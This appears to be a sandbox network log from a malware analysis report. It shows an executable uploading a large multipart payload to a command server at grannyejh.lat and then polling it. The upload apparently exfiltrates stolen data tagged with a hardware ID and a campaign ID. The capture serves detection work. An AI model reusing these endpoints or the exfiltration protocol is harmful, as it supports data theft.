2024-12-19 06:56:34 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-19 06:56:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49737	172.67.179.109	443	6360	C:\Users\user\Desktop\AWrVzd6XpC.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 06:56:36 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=EMGLNRJL User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 550244 Host: grannyejh.lat
2024-12-19 06:56:36 UTC	15331	OUT	Data Raw: 2d 2d 45 4d 47 4c 4e 52 4a 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 30 30 36 30 44 38 44 33 41 38 39 34 31 38 36 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 45 4d 47 4c 4e 52 4a 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 45 4d 47 4c 4e 52 4a 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 45 4d 47 4c 4e 52 4a 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 Data Ascii: --EMGLNRJLContent-Disposition: form-data; name="hwid"B0060D8D3A894186AC8923850305D13E--EMGLNRJLContent-Disposition: form-data; name="pid"1--EMGLNRJLContent-Disposition: form-data; name="lid"PsFKDg--pablo--EMGLNRJLContent-Disposit
2024-12-19 06:56:36 UTC	15331	OUT	Data Raw: 8d 1b 06 3c c9 31 b1 fe 3f 97 11 f6 55 00 4d 5c ce cd b6 f8 cb 80 ed 93 7c 74 1a 5b 41 cc 74 81 ee 69 2c 10 bb a2 0e 2b e5 13 92 43 7c 0b ce 3a 0b 0a 04 48 13 d7 6f 8c 9f 88 13 a0 cd 17 ab 4f c5 df 09 b7 db 88 08 38 16 b6 97 61 f4 87 90 ad b3 f3 41 94 71 10 5e 1f 94 74 04 f9 4f e6 41 70 36 54 29 85 3f d2 0c 17 ee 07 0e 5a 9d 80 5c cd f3 16 44 aa 6f 5c 5a 14 b8 f1 6f cb c7 01 97 be b1 be 77 69 23 f6 43 4e ef d0 a1 9a f5 1b 57 a9 50 81 7d 45 87 49 c9 d5 c4 10 d7 c9 b4 28 14 dc bb df 47 c4 08 13 8a 4c 3b 31 34 2d 07 03 92 fc e3 a9 b9 a0 38 d8 d1 65 cd a1 41 03 3f 1d b0 74 f0 7d 9f 1e d8 6e 2c bf fb e6 d4 e8 e0 c5 dd fd de 37 4e f6 4a f7 4e 8e 29 da bf 75 28 a9 ca 7e 63 53 51 f0 df c5 b4 d9 c3 ff 00 ad aa d0 0f de 82 c0 48 43 74 7c 9b 3e 7e 0b 48 9b d5 5f 62 Data Ascii: <1?UM\\|t[Ati,+C\|:HoO8aAq^tOAp6T)?Z\Do\Zowi#CNWP}EI(GL;14-8eA?t}n,7NJN)u(~cSQHCt\|>~H_b
2024-12-19 06:56:36 UTC	15331	OUT	Data Raw: 26 dc ef 1f c7 e3 ca 46 27 a7 a7 a3 eb f4 27 94 9c 55 c0 4e c7 08 88 20 b7 0f 4f b5 0c 24 aa 28 29 46 c4 fd 7a 7f e2 98 7c a4 81 53 97 21 ce ef b8 0a 9f 1f 2f 5f ad ab 83 7b d4 58 f6 eb 5d 06 81 ff ae 9a f5 b4 c0 ab 12 1e 1e cd cf 23 1e 8b e6 17 5a 53 ea 5b 12 da d9 24 a7 fd 6a a3 f6 51 1c 41 0e 25 b4 07 67 f2 50 77 49 bc 52 e5 95 60 6a cb 9d d0 da 3d f9 93 72 fd fc df d5 b3 26 af 8c fe 3e 1b 7d 35 3d 64 1f df dd 20 d1 3e 6a b3 e1 f3 c6 68 d8 5f fc 97 62 ed 54 08 3f fa 27 b3 7b dd e9 8a df a3 4c 43 44 67 96 68 56 6e 8b ac d0 fa 70 ec b1 21 a8 3b 6a 4b e4 e9 8e 02 95 74 96 f2 04 2f 5d 24 43 e2 05 3b 58 34 5d 8c 39 be 39 cb ed 7e cf d1 6f 35 c1 7b e8 ff da 61 da da 49 7f 50 02 f1 2f ca 2e 5e 9f b7 19 89 14 20 1c 0d b5 a1 5c c9 d7 18 d0 e3 f7 93 26 8e 49 3d Data Ascii: &F''UN O$()Fz\|S!/_{X]#ZS[$jQA%gPwIR`j=r&>}5=d >jh_bT?'{LCDghVnp!;jKt/]$C;X4]99~o5{aIP/.^ \&I=
2024-12-19 06:56:36 UTC	15331	OUT	Data Raw: 7e 81 9e cc 8a cf 23 35 15 2f ff 61 31 b9 f9 b1 a7 ab a7 56 fe 38 31 a9 cd e7 84 ba c6 7e 6e fd a6 fa 1a bb db bc e2 5c fb b4 3f 93 9a b7 17 38 0a 17 01 cc ad d3 c0 f1 c2 0e 9e 9d 3a bd b2 85 c2 2c b7 61 09 56 e9 81 36 0e 47 1d 1f 6e f3 75 fd d1 bd 08 ab 09 b9 c9 02 69 20 1b 13 72 cb 6b 1e a2 db 85 da 1b 7c 50 c7 cf f4 be 21 b7 99 3c 0d b7 d0 02 0e 1f 7f 6d 20 3e c2 14 78 c8 ff 7f 47 a0 23 99 a3 10 28 43 43 4d 06 e0 5a 59 2e 22 b2 24 22 35 4b 51 e0 42 c8 53 6d be 35 ba b8 2a f6 d5 2b c5 21 ad 1f 80 b0 87 e8 88 79 86 25 7e 99 74 f5 e0 06 16 3f 31 8c 52 41 81 c4 8f 9c 10 9b 08 9b c4 50 c3 26 ab d2 20 da f8 6c e3 82 ab 01 eb 2e dd f5 c6 4d e3 de 19 c3 b5 3e 62 4c e4 60 8e 00 fd 8c 0c 8c 26 f8 9c 75 e1 d6 28 50 9d cd 19 48 2a a0 55 74 bb 6a a1 8b 72 0f 7f 06 Data Ascii: ~#5/a1V81~n\?8:,aV6Gnui rk\|P!<m >xG#(CCMZY."$"5KQBSm5+!y%~t?1RAP& l.M>bL`&u(PHUtjr
2024-12-19 06:56:36 UTC	15331	OUT	Data Raw: f2 6a 7e 8f 19 cb 48 34 b5 27 fe 1b 89 40 53 43 c5 f6 48 63 e7 51 9e 68 f3 76 94 b9 93 c6 af cb f8 97 7e 5b ef 41 74 c7 b9 00 56 1f 82 c4 32 02 98 be e9 74 9b 35 33 bb f3 e4 ea 09 ce 35 03 3c 7e 4a 37 f8 ab 64 20 96 07 23 8c e9 55 18 47 33 a2 8a ba 8d e6 64 3f 58 33 9a 8c b1 e1 42 8d f2 56 ee 99 4e 49 a3 23 e3 77 66 86 2a e2 37 5f 0a 50 f8 39 77 46 83 b1 f5 a4 da eb 4c 66 c4 df 83 e4 3a 89 48 e3 3a 04 3b 10 26 51 8e ba 44 a4 f5 a1 19 71 e5 ea e9 f0 3d be a5 a7 7c 2a 92 c9 96 f6 19 09 38 21 c1 fd 8c 92 3d bb 74 b8 a4 ef b2 a6 37 9e 49 44 1e e6 33 a9 fa b1 d2 a4 75 73 35 b3 75 8b 3b ac 49 07 23 04 5e 0f a8 8d 67 bd e1 02 7f be 8e 3d 89 ac 31 d2 cd 4a e0 15 02 b7 27 a0 c5 73 a6 99 09 a2 b1 cf 17 ce 25 b0 7f 7c 5f c3 35 e5 af aa 91 c5 fe 1c e7 36 39 38 fd 66 Data Ascii: j~H4'@SCHcQhv~[AtV2t535<~J7d #UG3d?X3BVNI#wf7_P9wFLf:H:;&QDq=\|8!=t7ID3us5u;I#^g=1J's%\|_5698f
2024-12-19 06:56:36 UTC	15331	OUT	Data Raw: a2 a3 29 9e 73 45 58 fc c7 df dc 0e 57 ec 1d 38 c8 1f 3a 81 09 f5 47 fd 58 c0 c5 66 d5 99 d0 cc c3 26 42 24 38 f3 4f 02 2b bd 58 09 2a d7 c6 c1 b2 6f 7a 45 61 f6 6e 19 d8 10 03 bf e4 62 d7 47 89 0e b6 bd 3a 4b ac ae ef 96 b0 bd f0 c2 8b a7 ff 3b 4c 73 3d 03 7b 87 4b 5a 84 fe 0a b1 13 55 65 22 a9 b0 cd 58 ad 28 cb 6e 5d ad f6 19 ca 50 f7 c3 bc d7 07 f7 67 9f b9 80 be b9 c6 38 b3 33 53 e4 2a 74 93 aa ae b9 8c 9e 45 2f e7 cc d8 1c 25 d3 59 4b aa b4 31 00 de a2 19 f3 ac 3e 52 9a 08 20 ec 11 8b 52 e2 66 37 6c af 0d fe bb 2e 39 52 c3 ec 9c fa 99 20 77 dc 19 de 07 1a 54 76 f6 3b cc b6 40 18 70 48 8a 21 df 00 53 c3 2e 71 81 07 e2 0c 3d 44 da dd bd be ef fd d6 ec dd 26 26 55 88 bd f1 6b ab 92 96 e5 17 6f b2 f4 c4 95 dd 33 39 f8 b7 67 e1 3a 1e b0 a8 ca 81 a7 ce ec Data Ascii: )sEXW8:GXf&B$8O+XozEanbG:K;Ls={KZUe"X(n]Pg83StE/%YK1>R Rf7l.9R wTv;@pH!S.q=D&&Uko39g:
2024-12-19 06:56:36 UTC	15331	OUT	Data Raw: 78 97 3b 81 df 8e 3c 5a da ca f4 32 de 27 b2 e1 e5 28 a0 50 dd f3 d2 1b 53 34 7c 19 87 47 7c ff 9d 8e 1d 2b 5e 30 27 f1 7f dd 6c 47 d4 01 69 a7 2a a3 9b d9 e6 a9 be 4f 1c 5c f9 27 75 47 ac 33 0f a2 48 10 26 94 f6 d8 23 c7 e6 6b 21 30 fb 2c 14 22 ca 65 29 43 8e c2 bd 27 39 5a e7 d2 b8 f7 7a d0 31 7d 78 97 8b c4 40 de fb 91 16 6d 9b 9a b5 a2 59 1e 72 25 6b 9a 99 23 d4 29 1a ee 22 59 1c 51 7d 04 58 8c 66 6a a0 be 63 7b ff d2 86 2b 1a ae e2 20 b5 06 6c ec d5 c8 72 c8 da d1 5e 02 f0 d4 38 41 c4 a1 10 3c ab d8 39 3b 4b 64 92 75 78 f0 fb 15 4a e5 ae db 4a cc 91 09 96 a5 58 16 36 ec e7 af 56 ff df 05 be cc c3 cc 92 e2 63 c2 0b 97 63 32 75 30 c6 e7 c9 be bc b3 32 71 86 e2 58 8e 34 f4 7a 24 6e b6 38 46 5c 75 20 cc 38 49 d5 93 83 68 13 39 ca 42 9b da 52 b7 45 37 cf Data Ascii: x;<Z2'(PS4\|G\|+^0'lGi*O\'uG3H&#k!0,"e)C'9Zz1}x@mYr%k#)"YQ}Xfjc{+ lr^8A<9;KduxJJX6Vcc2u02qX4z$n8F\u 8Ih9BRE7
2024-12-19 06:56:36 UTC	15331	OUT	Data Raw: 6f e9 a5 62 b9 94 11 97 53 9b d2 08 cf 65 e7 4c e3 26 f4 29 44 68 24 d6 0b a9 4e 5d cd 4e dd f5 06 03 5c ce af cb b1 e2 9d f1 f2 c1 df 7d 61 6d 7c 71 d2 37 df a1 fc 6b 53 19 2c bd 1d 7b 59 44 46 13 ba 49 56 11 c1 54 ec 35 48 d8 a8 e2 10 ee e5 98 ee ef 1f 89 a2 28 8c de 5a 25 57 1e e7 e8 d5 57 73 53 fe 01 3d 8a 90 86 d1 31 ad 95 ea 65 0f 6b 4b 9c 98 c8 b0 fa 94 10 ce ed e3 4f 2e b0 2a 1d 9c 3a 92 7b 24 34 f9 c8 c9 f3 ff 4e 9b b1 48 eb a2 3b ec 88 92 6f 6c b1 6d b3 72 51 2b 3d a7 a1 8c 6c 9f c4 9d 17 97 a6 0d 47 3f d9 41 9f 79 9e c0 67 b1 60 5e b8 2f fd 1c d0 5a 38 40 2c 41 20 8e f2 6e ca f6 5f 49 1b c0 02 72 38 74 8e 0f 94 5b b9 ff f2 76 3f f9 04 74 1e e1 c4 d8 a4 45 e4 9f ba e5 41 74 6a 70 f4 cb aa 40 cf 10 4e e5 ab 4d 71 26 d0 2e c7 9a 96 b2 d3 7d fc 28 Data Ascii: obSeL&)Dh$N]N\}am\|q7kS,{YDFIVT5H(Z%WWsS=1ekKO.*:{$4NH;olmrQ+=lG?Ayg`^/Z8@,A n_Ir8t[v?tEAtjp@NMq&.}(
2024-12-19 06:56:36 UTC	15331	OUT	Data Raw: 56 2a d5 3d 4f 8d b0 a0 a7 67 84 3e 7a b7 41 7f e8 c4 80 6f fa 93 d6 ee cf 0f f3 cd 04 79 b7 e6 ed 3f 19 51 ff 77 4b 4c 10 84 f8 2c 2e a2 81 36 fe 0a 0e bc 45 17 0a a0 86 c9 64 c9 7f 82 d3 b4 7d 12 37 8f d5 58 1a f3 fb ea 20 18 30 e0 04 39 47 96 da 8b a2 07 38 14 2a 0d 73 25 0f f7 4b 8d b8 c6 63 47 54 e9 02 18 6d 96 67 34 35 18 e0 d7 1f b3 c6 56 00 9f 8a f9 e0 71 91 37 5b 71 fb a6 ad d0 bc 76 3e 7c 66 ce 54 cd 89 53 9b cf 2a 52 8d 79 05 c7 c4 ef 41 b0 51 b7 fe fa 15 07 09 d4 f5 84 09 08 dc 20 e0 1a 70 f5 ca 51 21 bb a9 fc 00 c2 41 2b c4 bd a1 3b b9 76 ad 39 b3 64 17 1b 53 a7 11 ec 65 4b bc 07 e6 35 3a 89 90 74 b0 c6 18 9d b4 89 28 c0 6d 9f cd 49 a0 0b 08 fc 9a b2 29 b4 b1 b5 0d cc dc 1b 5b fe c5 6b 4b 99 5a 8f a0 58 9f cc f2 f1 51 5c 82 4a ed c4 32 eb 0e Data Ascii: V=Og>zAoy?QwKL,.6Ed}7X 09G8s%KcGTmg45Vq7[qv>\|fTS*RyAQ pQ!A+;v9dSeK5:t(mI)[kKZXQ\J2
2024-12-19 06:56:36 UTC	15331	OUT	Data Raw: af 49 0a 3a ce eb d3 04 be da ff df 4b 6f ac e3 f4 4e 66 42 7c 4c 62 d9 4e 43 5e e6 5d 35 2f 41 c4 1b b3 e8 b1 c6 44 c0 b0 3b 0a f2 0f cf a8 40 f9 bf cc 98 ee 0e c3 17 af 7e 11 ad dc 79 b3 98 ad 81 80 c8 2f ae a9 a7 bd 59 57 f3 c3 19 09 f9 4b 35 13 2e 53 f0 44 6d 13 a9 02 ad 2e 60 d9 ba 23 f4 28 0c c3 d4 a0 18 b5 42 53 9c b7 fb f5 e5 22 95 94 09 00 3b 39 7a c7 f9 1b 43 be b3 03 3d 3d a4 0f b8 ce 1f 18 ad 09 ef b9 2d e0 18 b4 f0 6a de 5e 85 d8 42 cf f2 18 ac 94 1b 2c b9 eb 92 2f b6 30 10 26 15 e9 dd ac dc 31 b6 54 ac 4d 8f a2 d6 cd 7a e4 85 20 dc 0b 18 fb 73 7d ec 15 61 10 e2 3d 37 2b 0f 87 f9 41 af 35 93 26 3e ec 49 81 45 1d 3f 51 25 59 b3 7d 15 dc f7 92 41 4e bb c9 36 2c 8f 11 68 fd b9 a6 0b c5 7b 54 4d 45 1b 64 04 4c 9e 79 b6 3c ba 71 ec 3b aa 5d a3 d0 Data Ascii: I:KoNfB\|LbNC^]5/AD;@~y/YWK5.SDm.`#(BS";9zC==-j^B,/0&1TMz s}a=7+A5&>IE?Q%Y}AN6,h{TMEdLy<q;]
2024-12-19 06:56:40 UTC	1123	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 06:56:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7jkguilnepi27lum7dd1frriud; expires=Mon, 14 Apr 2025 00:43:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=neZhUiP6RFyRLWC36dgWNYRl7LrSXAnVsM4dkmagkHAzIujtFV2zWuaNKniY1PxvdFwoEibfMsfpuqtgMS9ZL1L0c%2FjCNW%2BwhU8fOxXA35Rh4TmvdsAfjXMxSyejfGhE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f457e6619d94333-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1705&min_rtt=1703&rtt_var=643&sent=332&recv=558&lost=0&retrans=0&sent_bytes=2830&recv_bytes=552712&delivery_rate=1694718&cwnd=248&unsent_bytes=0&cid=ec4589fea2c292ea&ts=4046&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49742	172.67.179.109	443	6360	C:\Users\user\Desktop\AWrVzd6XpC.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 06:56:42 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: grannyejh.lat
2024-12-19 06:56:42 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 42 30 30 36 30 44 38 44 33 41 38 39 34 31 38 36 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=B0060D8D3A894186AC8923850305D13E
2024-12-19 06:56:43 UTC	1122	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 06:56:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ot11dbfctd8upclkurn9qh12nc; expires=Mon, 14 Apr 2025 00:43:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=s1OkkcGaKAhdbo8G1Njaf%2Bog1gVgepl5DaE%2BYHxLq9ge2H9qWN4EA1rHmiabYaV89nQ3sh8zG2zIiJI5W9xrP183JeoQ987YefvLM%2F1tN8%2FlT2fivYLB8XW%2BfgXNdQGa"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f457e88697f7d02-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1991&min_rtt=1988&rtt_var=751&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=979&delivery_rate=1450571&cwnd=230&unsent_bytes=0&cid=3ffd6a2e09d80a21&ts=1143&x=0"
2024-12-19 06:56:43 UTC	214	IN	Data Raw: 64 30 0d 0a 72 46 4e 62 71 54 75 34 78 6e 70 6b 5a 4b 71 31 6d 51 65 2f 7a 46 31 58 7a 50 4b 31 50 2f 71 4e 62 53 75 47 67 6f 45 43 53 44 66 33 4b 48 6e 63 47 59 4c 6b 45 68 41 51 32 6f 2f 46 4b 4f 50 6a 62 47 2f 35 33 49 63 4f 7a 36 4e 63 47 72 57 73 73 44 51 55 47 4d 4d 31 50 66 55 55 33 4b 4d 63 53 67 48 53 30 4c 73 72 6e 61 6f 70 64 66 62 43 6d 52 32 66 72 31 63 62 2b 36 37 36 49 44 30 56 6c 6e 45 7a 33 55 2f 49 2f 43 5a 4c 4f 49 57 45 6f 54 4b 52 2f 6d 78 69 34 73 4f 45 44 4e 53 38 57 33 65 70 38 66 56 6e 4b 56 72 77 66 43 6e 49 56 64 79 70 46 30 6f 42 30 74 43 37 4b 35 32 71 4b 58 58 32 77 70 6b 64 6e 36 39 58 47 2f 76 66 0d 0a Data Ascii: d0rFNbqTu4xnpkZKq1mQe/zF1XzPK1P/qNbSuGgoECSDf3KHncGYLkEhAQ2o/FKOPjbG/53IcOz6NcGrWssDQUGMM1PfUU3KMcSgHS0LsrnaopdfbCmR2fr1cb+676ID0VlnEz3U/I/CZLOIWEoTKR/mxi4sOEDNS8W3ep8fVnKVrwfCnIVdypF0oB0tC7K52qKXX2wpkdn69XG/vf
2024-12-19 06:56:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49751	172.217.19.228	443	6652	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 06:57:09 UTC	607	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-19 06:57:10 UTC	1266	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 06:57:10 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-Um-QAhdQfcy458UOZVQeMA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-19 06:57:10 UTC	124	IN	Data Raw: 33 35 62 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 72 65 63 61 6c 6c 65 64 20 70 6f 74 61 74 6f 20 63 68 69 70 73 22 2c 22 63 6f 6f 6b 69 6e 67 20 77 69 74 68 20 6b 79 61 22 2c 22 6e 6f 72 74 68 20 70 6f 6c 65 20 70 72 6f 66 69 74 73 20 6d 6f 6e 6f 70 6f 6c 79 20 67 6f 20 72 65 77 61 72 64 73 22 2c 22 6a 75 6e 69 6f 72 20 63 6f 6c 6c 65 67 65 20 6e 63 61 61 20 65 6c 69 67 Data Ascii: 35b)]}'["",["recalled potato chips","cooking with kya","north pole profits monopoly go rewards","junior college ncaa elig
2024-12-19 06:57:10 UTC	742	IN	Data Raw: 69 62 69 6c 69 74 79 22 2c 22 63 68 72 69 73 74 6d 61 73 20 74 72 61 76 65 6c 20 77 65 61 74 68 65 72 20 66 6f 72 65 63 61 73 74 22 2c 22 6b 61 72 61 74 65 20 6b 69 64 20 6c 65 67 65 6e 64 73 20 6d 6f 76 69 65 20 74 72 61 69 6c 65 72 22 2c 22 73 74 65 61 6d 20 77 69 6e 74 65 72 20 73 61 6c 65 20 32 30 32 34 20 67 61 6d 65 73 22 2c 22 74 61 63 6f 20 62 65 6c 6c 20 63 72 69 73 70 79 20 63 68 69 63 6b 65 6e 20 6e 75 67 67 65 74 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f Data Ascii: ibility","christmas travel weather forecast","karate kid legends movie trailer","steam winter sale 2024 games","taco bell crispy chicken nuggets"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwo
2024-12-19 06:57:10 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49750	172.217.19.228	443	6652	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 06:57:09 UTC	510	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-19 06:57:10 UTC	1018	IN	HTTP/1.1 200 OK Version: 705503573 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Thu, 19 Dec 2024 06:57:10 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-19 06:57:10 UTC	372	IN	Data Raw: 31 36 65 61 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 16ea)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
